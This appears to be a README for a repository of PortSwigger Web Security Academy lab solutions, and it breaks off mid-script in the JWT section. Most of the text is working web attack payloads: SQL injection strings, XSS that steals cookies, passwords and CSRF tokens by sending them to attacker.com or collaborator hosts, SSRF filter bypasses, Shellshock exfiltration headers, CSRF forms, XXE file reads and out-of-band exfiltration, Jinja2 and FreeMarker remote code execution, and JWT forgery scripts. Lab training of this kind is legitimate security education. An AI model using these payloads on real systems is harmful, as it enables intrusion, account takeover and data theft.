websecurityacademy-solutions

# WebSecurityAcademy Solutions > Skill by [ara.so](https://ara.so) — Security Skills collection. This repository provides comprehensive solutions, walkthroughs, and video tutorials for all PortSwigger Web Security Academy labs. It covers 30+ vulnerability categories including SQL Injection, XSS, CSRF, SSRF, SSTI, XXE, and emerging attack vectors like Web LLM attacks and Race Conditions. ## What This Project Does WebSecurityAcademy provides: - **Step-by-step lab solutions** for all PortSwigger Web Security Academy challenges - **Video walkthroughs** demonstrating exploitation techniques - **Difficulty-graded labs** (Apprentice, Practitioner, Expert) - **Practical attack patterns** for real-world penetration testing - **Coverage of 30+ vulnerability types** from OWASP Top 10 and beyond ## Installation ```bash # Clone the repository git clone https://github.com/ntrunr/WebSecurityAcademy.git cd WebSecurityAcademy # Navigate to specific vulnerability category cd SQL-Injection # or XSS, SSRF, etc. ``` ## Repository Structure ``` WebSecurityAcademy/ ├── SQL-Injection/ ├── XSS/ ├── CSRF/ ├── SSRF/ ├── XXE/ ├── Command-Injection/ ├── SSTI/ ├── Path-Traversal/ ├── Access-Control/ ├── Authentication/ ├── JWT-Attacks/ ├── OAuth/ ├── Race-Conditions/ ├── GraphQL/ └── ... ``` ## Key Vulnerability Categories ### SQL Injection **Basic SQLi - WHERE Clause Bypass** ```sql -- Original query: SELECT * FROM products WHERE category = 'Gifts' -- Payload to retrieve all products including hidden ones ' OR 1=1-- -- Login bypass administrator'-- ``` **UNION-based SQLi** ```sql -- Determine number of columns ' UNION SELECT NULL,NULL,NULL-- -- Extract data from other tables ' UNION SELECT username, password FROM users-- -- Oracle-specific version detection ' UNION SELECT banner,NULL FROM v$version-- -- MySQL version detection ' UNION SELECT @@version,NULL# ``` **Blind SQLi with Conditional Responses** ```sql -- Boolean-based enumeration ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'-- -- Time-based blind SQLi '; IF (1=1) WAITFOR DELAY '0:0:10'-- '; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END-- ``` ### Cross-Site Scripting (XSS) **Reflected XSS** ```html <!-- Basic reflected XSS --> <script>alert(document.domain)</script> <!-- XSS in attribute context --> "><script>alert(1)</script> <!-- Event handler XSS --> <img src=x onerror=alert(1)> <!-- SVG-based XSS --> <svg onload=alert(1)> ``` **Stored XSS** ```html <!-- Persistent XSS in comment field --> <script> fetch('https://attacker.com?cookie='+document.cookie) </script> <!-- XSS to capture form data --> <input name=username id=username> <input type=password name=password onchange="fetch('https://attacker.com?u='+username.value+'&p='+this.value)"> ``` **DOM XSS** ```javascript // Vulnerable code: document.write(location.search) // Payload: ?search=<script>alert(1)</script> // jQuery selector sink // Vulnerable: $(location.hash) #<img src=x onerror=alert(1)> // AngularJS expression {{$on.constructor('alert(1)')()}} ``` **XSS Exploitation** ```javascript // Cookie stealing <script> location='https://YOUR-BURP-COLLABORATOR.com?c='+document.cookie; </script> // Password capture <input name=username id=username> <input type=password name=password onchange=" fetch('https://YOUR-COLLABORATOR.com', { method: 'POST', mode: 'no-cors', body: username.value+':'+this.value }); "> // CSRF token theft <script> fetch('/my-account').then(r=>r.text()).then(html=>{ const token = html.match(/csrf token: ([^<]+)/)[1]; fetch('https://YOUR-COLLABORATOR.com?token='+token); }); </script> ``` ### Server-Side Request Forgery (SSRF) **Basic SSRF Against Local Server** ```http POST /product/stock HTTP/1.1 Host: vulnerable-website.com stockApi=http://localhost/admin ``` **SSRF Against Backend Systems** ```http # Enumerate internal network stockApi=http://192.168.0.1:8080/admin stockApi=http://192.168.0.2:8080/admin # ... continue enumeration ``` **Bypassing SSRF Filters** ```http # Blacklist bypass - URL encoding stockApi=http://127.1/%2561dmin # Blacklist bypass - alternative IP representations stockApi=http://127.1/admin stockApi=http://2130706433/admin # Decimal IP stockApi=http://017700000001/admin # Octal IP # Whitelist bypass via open redirect stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin # DNS rebinding / subdomain bypass stockApi=http://localhost.YOUR-DOMAIN.com/admin # URL parsing discrepancies stockApi=http://expected-host@internal-host/admin ``` **Blind SSRF with Out-of-Band Detection** ```http # Shellshock exploitation Referer: () { :; }; /usr/bin/nslookup $(whoami).YOUR-COLLABORATOR.com User-Agent: () { :; }; /usr/bin/nslookup $(whoami).YOUR-COLLABORATOR.com ``` ### Cross-Site Request Forgery (CSRF) **Basic CSRF Attack** ```html <html> <body> <form action="https://vulnerable-website.com/email/change" method="POST"> <input type="hidden" name="email" value="attacker@evil.com" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ``` **CSRF Token Bypass - Method Override** ```html <!-- Change POST to GET --> <form action="https://vulnerable-website.com/email/change" method="GET"> <input type="hidden" name="email" value="attacker@evil.com" /> </form> ``` **CSRF Token Bypass - Session/Cookie Mismatch** ```html <!-- Set attacker's CSRF token cookie --> <img src="https://vulnerable-website.com/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-KEY" onerror="this.src='https://vulnerable-website.com/email/change?email=attacker@evil.com&csrf=YOUR-TOKEN'"> ``` **SameSite Cookie Bypass** ```html <!-- SameSite Lax bypass via client-side redirect --> <script> document.location = "https://vulnerable-website.com/post/comment/confirmation?postId=../my-account/change-email?email=attacker@evil.com%26submit=1"; </script> ``` ### XML External Entity (XXE) Injection **Basic XXE - File Retrieval** ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck> ``` **XXE to SSRF** ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/admin"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck> ``` **Blind XXE - Out-of-Band** ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR.com"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck> ``` **Blind XXE - Data Exfiltration** ```xml <!-- Malicious DTD hosted on attacker server --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-COLLABORATOR.com/?x=%file;'>"> %eval; %exfil; ``` ```xml <!-- XML payload --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR-EXPLOIT-SERVER/malicious.dtd"> %xxe;]> <stockCheck> <productId>1</productId> <storeId>1</storeId> </stockCheck> ``` ### Server-Side Template Injection (SSTI) **Detecting SSTI** ``` {{7*7}} # Jinja2, Twig ${7*7} # FreeMarker, Thymeleaf <%= 7*7 %> # ERB (Ruby) ${{7*7}} # Expression Language ``` **Jinja2/Python Exploitation** ```python # Basic RCE {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} # Alternative payload {{''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()}} # User-supplied objects {{settings.SECRET_KEY}} ``` **FreeMarker Exploitation** ```java # Code execution <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } # File read ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} ``` ### JWT Attacks **JWT None Algorithm Bypass** ```python import jwt import base64 # Original token with signature token = "eyJ...original...token" # Decode without verification header = {"typ": "JWT", "alg": "none"} payload = {"sub": "administrator", "iat": 1234567890} # Create unsigned token unsigned = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=") + "." + \ base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=") + "." ``` **JWT Algorithm Confusion** ```python # Convert RS256 to HS256 using public key as secret import jwt # Extract public key from /jwks.json or /.well-known/jwks.json public_key = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... -----END PUBLIC KEY-----""" payload = {"sub": "administrator"}